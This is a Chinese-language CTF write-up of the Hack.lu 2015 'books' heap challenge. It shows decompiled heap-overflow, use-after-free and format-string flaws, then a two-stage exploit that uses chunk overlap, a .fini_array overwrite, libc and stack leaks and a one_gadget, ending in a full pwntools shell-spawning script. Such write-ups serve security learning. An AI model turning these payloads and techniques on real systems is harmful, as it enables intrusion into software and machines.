前言 :
我是真的懒。。自从六月颓了之后再过一个暑假整个人基本上算是废物状态。。还好最近进度慢慢起步上来了,不然得完蛋了,这道题花了我两天才解出来,感觉自己是真的菜,但是解出来的瞬间真的是巨他妈快乐,而且现在还没有人写过完整且正常的writeup,所以我觉得我是第一人,就巨他妈的开心。
概述 :
15年的一道题,尝试解题无果之后去搜了搜writeup,结果并没有搜到。。只有一篇非正常getshell的文章。。作者打比赛时候靠着本机环境和比赛机一致,靠着设定好system地址getshell。看的我一脸懵,还是靠自己解吧。。肝了一天多终于肝出来了。。本菜🐔还是菜啊。。
这道题虽然看似漏洞很多,但是要利用起来还真是有点困难。
详解 :
checksec:
1 2 3 4 5 6 7
| ➜ books checksec ./books [*] '/home/parallels/Desktop/PWN/PwnWiKi/heap/books/books' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
功能 :
该程序是个书店,订书的功能,最多订购两本书,订购每本书的时候可以填写订单内容,这里面可以无限制任意写,然后是删除订单,删除订单中只free
掉了指针,没有把指针置为NULL,存在UAF漏洞,且指针的位置处于栈地址上,最后是一个提交功能,提交功能是将两本书的内容合在一起打印出来,但是提交后存在一个格式化字符串的漏洞。
漏洞 :
- 任意写,堆溢出漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| unsigned __int64 __fastcall sub_400876(__int64 a1) { int v1; // eax int v3; // [rsp+10h] [rbp-10h] int v4; // [rsp+14h] [rbp-Ch] unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u); v3 = 0; v4 = 0; while ( v3 != '\n' ) <----------------换行符才结束循环,任意写 { v3 = fgetc(stdin); v1 = v4++; *(_BYTE *)(v1 + a1) = v3; } *(_BYTE *)(v4 - 1LL + a1) = 0; return __readfsqword(0x28u) ^ v5; }
|
- UAF漏洞:
1 2 3 4 5 6 7 8
| unsigned __int64 __fastcall sub_4008FA(void *a1) { unsigned __int64 v1; // ST18_8
v1 = __readfsqword(0x28u); free(a1); <-----------------没有将指针置为NULL return __readfsqword(0x28u) ^ v1; }
|
- 格式化字符串漏洞
1 2 3
| printf("%s", v5); printf(dest); <-----------------格式化字符串 return 0LL;
|
利用 :
那么问题来了,漏洞看起来这么的多,怎么去利用?首先我们得注意三点:
- 使用submit功能的时候程序就结束了,也就是一次性,但是
printf
格式化恰好就在程序结束处才产生。
- 格式化的字符串从系统
malloc
的第三块堆内容中获取。
- 无法自行分配堆,只能从程序本身申请的三块堆和submit功能中申请的堆中去利用。
但是我们会遇到一些问题,比如说我们想用溢出控制第三块堆中的内容再利用格式化字符串的时候会遇到填写订单内容后被strcpy
函数给重新覆盖掉第三堆块的内容。
这里我们应当使用到Overlapping,先delete
第二堆块,再用堆块一溢出堆块二的size
字段为0x151
,这样当利用submit
功能的时候所申请的0x140
堆块就能出现在堆块二的位置上,随后便能利用submit
合并两个堆块内容的作用覆盖到第三堆块,如果构造好覆盖内容,我们便能在程序最后利用到格式化字符串的内容。
显然,一次利用并不能达到我们getshell的目的,这里用到这么一个知识点 :
1
| 程序退出后会执行`.fini_array`地址处的函数,不过只能利用一次。
|
所以我们可以利用第一次格式化字符串将.fini_array
地址处的函数修改成main
函数的地址,使程序重新回到main
函数。当然,我们还需要泄漏libc
地址。
先来第一阶段的利用 :
delete
掉堆块二:
利用堆块一覆盖重写的这里我们需要注意,我们所构造的payload
需要和后面利用的格式化字符串所匹配。
堆块位置如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| 0x602000: 0x0000000000000000 0x0000000000000091 <--堆块一头 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000091 <--新申请的0x140堆块头 0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000090 0x0000000000000090 <--dest堆块头(printf处) 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000000000 0x602190: 0x0000000000000000 0x0000000000000000 0x6021a0: 0x0000000000000000 0x0000000000000000 0x6021b0: 0x0000000000000000 0x0000000000000411
|
我们需要让printf
堆块处执行格式化的漏洞,就需要让submit
功能去帮助我们覆盖,submit
功能会加上order1:
等这些字符串,不能漏掉,总结后可以得知新申请的堆块内容为:
Order 1:
+ chunk1
+ \n
+ Order 2:
+ chunk2
+ \n
因为chunk2
已经被delete
掉了,所以当复制chunk2
中的内容的时候复制的其实是order 1: + chunk1
。所以上述可以变为:
Order 1:
+ chunk1
+ \n
+ Order 2:
+ Order 1:
+ chunk1
+ \n
所以我们可以构造第二次的chunk1
内容恰好覆盖到dest
堆块处。也就是:
size(Order 1:
+ chunk1
+ \n
+ Order 2:
+ Order 1:
) == 0x90
size(chunk1
) == 0x90 - 28
== 0x74
所以我们构造chunk1
中的内容的时候只要使其中非0
字符串的个数达到0x74
就行了。
因为输入选项的时候可输入128
个数字符串:
所以我们可以提前在栈中构造好我们所需要用格式化字符串修改的任意地址。
输入点在格式化偏移为12处,我们第一轮利用需要修改的是.fini_array
处的内容,所以我们在栈中可以这么构造:
1
| payload2 = '5'+p8(0x0)*7 + p64(fini_array) <-- 5为选用submit功能
|
而chunk1
中的内容可以这么构造:
1 2 3 4
| payload = "%"+str(2617)+"c%13$hn" + '.%31$p' + ',%28$p' payload += 'A'*(0x74-len(payload)) payload += p8(0x0)*(0x88-len(payload)) payload += p64(0x151)
|
这里的'.%31$p'
目的是泄漏__libc_start_main
函数的地址,从而leak libc
的地址。而这里的',%28$p'
目的我后面会说到。
第二阶段的利用 :
这里我们能怎么接下去利用呢?ctf-wiki
上的解法是拿到system
函数的地址后去覆盖free_got
。我试了这解法后才知道这解法还需要再来一轮去触发free
函数。。所以这个思路行不通。。wiki
上贴的exp
好像只执行了第一阶段,第二阶段的利用没有。。
搜索到的唯一一个exp
是通过设定system
地址佛系getshell
的。。所以还是得自己来着手。。我想这题目肯定是有一个常规解的。所以我自己来肝。。
我的思路是通过第二阶段修改主函数返回地址getshell:
返回地址在栈上的位置是随机的,所以我们需要找一个与返回地址有固定偏移的栈地址。我们从栈上去找一找,我发现了这么一个地址:
这个栈地址始终指向比自己低0x10
字节的栈地址,而且指向的栈地址和返回地址也有固定的0x28
的偏移,所以我选择用格式化字符串泄漏这个栈地址,但是这里还有一个问题:
1
| 第一阶段利用后重新执行main函数后,栈上的地址会产生一个固定的偏移。
|
上面所提到的payload
中',%28$p'
的目的就是泄漏这个栈地址。
我们直接把gdb attach
上去计算固定的偏移:
泄漏得到的第一阶段的返回地址:0x7ffd88f7d6f8
gdb
中得到的第二阶段的返回地址:0x7ffd88f7d4e8
所以固定偏移为:0x7ffd88f7d6f8 - 0x7ffd88f7d4e8 = 0x210
我们得到了第二阶段的返回地址的栈地址之后就好办事了,重复第一阶段的构造利用即可,这里面为了方便,可以直接利用one_gadget
工具中的execve
函数地址来覆盖返回地址。这里经过观察可以发现,execve
的地址和返回地址只有最后三个字节不同,所以构造格式化漏洞的时候只需要覆盖返回地址最后的三位即可。
可能机子环境不一样这个固定偏移也不一样,我的环境是:
Ubuntu16.04,glibc2.23
结果 :
EXP :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| from pwn import *
p = process('./books') context.log_level = 'debug' elf = ELF('./books') libc = ELF('libc.so')
def edit1(content) : sleep(0.1) p.sendline('1') p.recvuntil('Enter first order:\n') p.sendline(content)
def edit2(content) : sleep(0.1) p.sendline('2') p.recvuntil('Enter second order:\n') p.sendline(content)
def delete1() : sleep(0.1) p.sendline('3')
def delete2() : sleep(0.1) p.sendline('4')
def submit() : sleep(0.1) p.sendline('5')
free_got = elf.got['free'] fini_array = 0x6011B8 main_addr = 0x400A39
delete2()
payload = "%"+str(2617)+"c%13$hn" + '.%31$p' + ',%28$p' payload += 'A'*(0x74-len(payload)) payload += p8(0x0)*(0x88-len(payload)) payload += p64(0x151) edit1(payload)
payload2 = '5'+p8(0x0)*7 + p64(fini_array) p.sendline(payload2)
#leak --> libc_base p.recvuntil('\x2e') p.recvuntil('\x2e') p.recvuntil('\x2e') data = p.recv(14) p.recvuntil(',') ret_addr = p.recv(14) data = int(data,16) - 240 ret_addr = int(ret_addr,16) + 0x28 - 0x210 libc_base = data - libc.symbols['__libc_start_main'] log.success('ret_addr :'+hex(ret_addr))
#repeat --> change ret_addr --> system_addr(one_gadget) one_shot = libc_base + 0x45216 print hex(one_shot) one_shot1 = '0x'+str(hex(one_shot))[-2:] one_shot2 = '0x'+str(hex(one_shot))[-6:-2] print one_shot1,one_shot2 one_shot1 = int(one_shot1,16) one_shot2 = int(one_shot2,16)
delete2()
payload3 = "%" + str(one_shot1) + "d%13$hhn" payload3 += '%' + str(one_shot2-one_shot1) + 'd%14$hn' payload3 += 'A'*(0x74-len(payload3)) payload3 += p8(0x0)*(0x88-len(payload3)) payload3 += p64(0x151) edit1(payload3)
payload4 = '5' + p8(0x0)*7 + p64(ret_addr) + p64(ret_addr+1) p.sendline(payload4)
p.interactive()
|
相关链接:
Hack.lu 2015 bookstore writeup